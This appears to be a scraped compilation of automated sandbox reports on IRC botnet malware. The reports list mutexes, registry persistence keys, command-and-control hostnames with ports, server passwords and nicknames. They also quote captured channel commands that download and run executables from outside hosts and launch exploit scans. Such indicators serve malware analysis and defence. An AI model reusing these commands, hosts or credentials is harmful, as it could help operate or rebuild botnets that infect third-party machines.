* To mark the presence in the system, the following Mutex object was created: o eLecTr0 * The following ports were open in the system: Port Protocol Process1033 TCP svchost.exe.exe (%Windir%svchost.exe.exe)1034 TCP svchost.exe.exe (%Windir%svchost.exe.exe) Remote Host Port Numberb1n.th3kings.net 27034 PASS bbbbbbbNICK [00|USA|937325]USER XP-0692 * 0 :COMPUTERNAME Resolved : [b1n.th3kings.net] To [203.154.27.138]

Remote Host Port Numberalm.alm7.net 7000 78.129.223.128:7000Nick: rcoepgUsername: aclqjsServer Pass: trb123trbJoined Channel: #lala1 with Password trb123trb PASS trb123trbNICK fxumqmUSER yxptgt “” “suo” :yxptgt Resolved : [alm.alm7.net] To [78.129.223.128] Registry Modifications * The following Registry Key was created: o HKEY_LOCAL_MACHINESOFTWAREMicrosoftActive SetupInstalled Components{28ABC5C0-4FCB-11CF-AAX5-81CX1C635612} * The newly created Registry Value is: o [HKEY_LOCAL_MACHINESOFTWAREMicrosoftActive SetupInstalled Components{28ABC5C0-4FCB-11CF-AAX5-81CX1C635612}] + StubPath = “c:RECYCLERS-1-5-21-1482476501-1644491937-682003330-1013ise32.exe”Read more...

irc.sicakalem.com:6667 NICK USA|1141622USER grndpqsjt 0 0 :USA|1141622USERHOST USA|1141622MODE USA|1141622 -x+iJOIN #BED bedlendimNOTICE USA|1141622 :.VERSION mIRC v6.20 Khaled Mardam-Bey.NICK USA|3350648USER kafqfkjey 0 0 :USA|3350648USERHOST USA|3350648MODE USA|3350648 -x+iNICK USA|4489810USER sjhaemcd 0 0 :USA|4489810USERHOST USA|4489810MODE USA|4489810 -x+iNICK USA|6834133USER sjhaemcd 0 0 :USA|6834133USERHOST USA|6834133MODE USA|6834133 -x+iNICK USA|8871954USER uljdzcm 0 0 :USA|8871954USERHOST USA|8871954MODE USA|8871954 -x+i

Remote Host Port Numbernhg1.cjb.net 4244chanels #!cc!#,#!N!# PASS NhGNICK [00|USA|288658]USER XP-0520 * 0 :COMPUTERNAME

Remote Host Port Numbernadnadzzz.info 7000 PASS trb123trbNICK xlwusiUSER zbuqiv “” “gjr” :zbuqiv Now talking in ##xddcTopic On: [ ##xddc ] [ !dl http://idfc.info/pr3xy.exe p3xy.exe 1 ]Topic By: [ always ] Now talking in #xddc1Topic On: [ #xddc1 ] [ !dl http://idfc.info/so8.exe p3xddy.exe 1 ]Topic By: [ always ]Modes On: [ #xddc1 ] [ +smntSMCu ]

218.10.17.212:8585 Nick: [00_AUT_XP_3342645]Username: SP3-154Joined Channel: #tanker with Password openChannel Topic for Channel #tanker: “.asc -S|.http http://218.10.17.212/hom.exe|.advscan exp_sp3 35 3 0 -b -e -r|.advscan exp_sp2 35 3 0 -b -e -r|.advscan exp_sp3 15 3 0 -a -e -r|.advscan exp_sp2 15 3 0 -a -e -r|.r.getfile http://218.10.17.212/ark.exe C:ab.exe 1”Private Message to Channel #tanker: “scan// Random Port ScanRead more...

174.143.210.150:80 * IRC Data o User Name: SP3-409 o Host Name: * o Server Name: o Real Name: HOME-OFF-D5F0AC o Nick Name: [N00_USA_XP_0507329]Èé@ o Non RFC Conform: 1 + Notice Message Deleted # Value: :irc.efnet.com NOTICE AUTH :*** Looking up your hostname… # Value: :irc.efnet.com NOTICE AUTH :*** Couldn’t resolve your hostname; using your IPRead more...

Remote Host Port Numberb0t.th3kings.net 27034 PASS bbbbbbbNICK [00|USA|234516]USER XP-2321 * 0 :COMPUTERNAME

Remote Host Port Numberlonghostnameonetwo345.iciko.com 1234 * There was an outbound traffic produced on port 1234:00000000 | 434F 4D50 5554 4552 4E41 4D45 6F6B 6F6B | COMPUTERNAMEokok00000010 | 6F6B 6F6B 6F6B 6F6B 6F6B 6F6B 6F6B | okokokokokokok

Remote Host Port Numberirc2.alphairc.com 4444 NICK BSIDEUSER iSRAEL “HACKERS.NET” “irc2.alphairc.com” :DrDeathUSERHOST nickPART channelUSER iSRAEL “HACKERS.NET” “irc2.alphairc.com” :king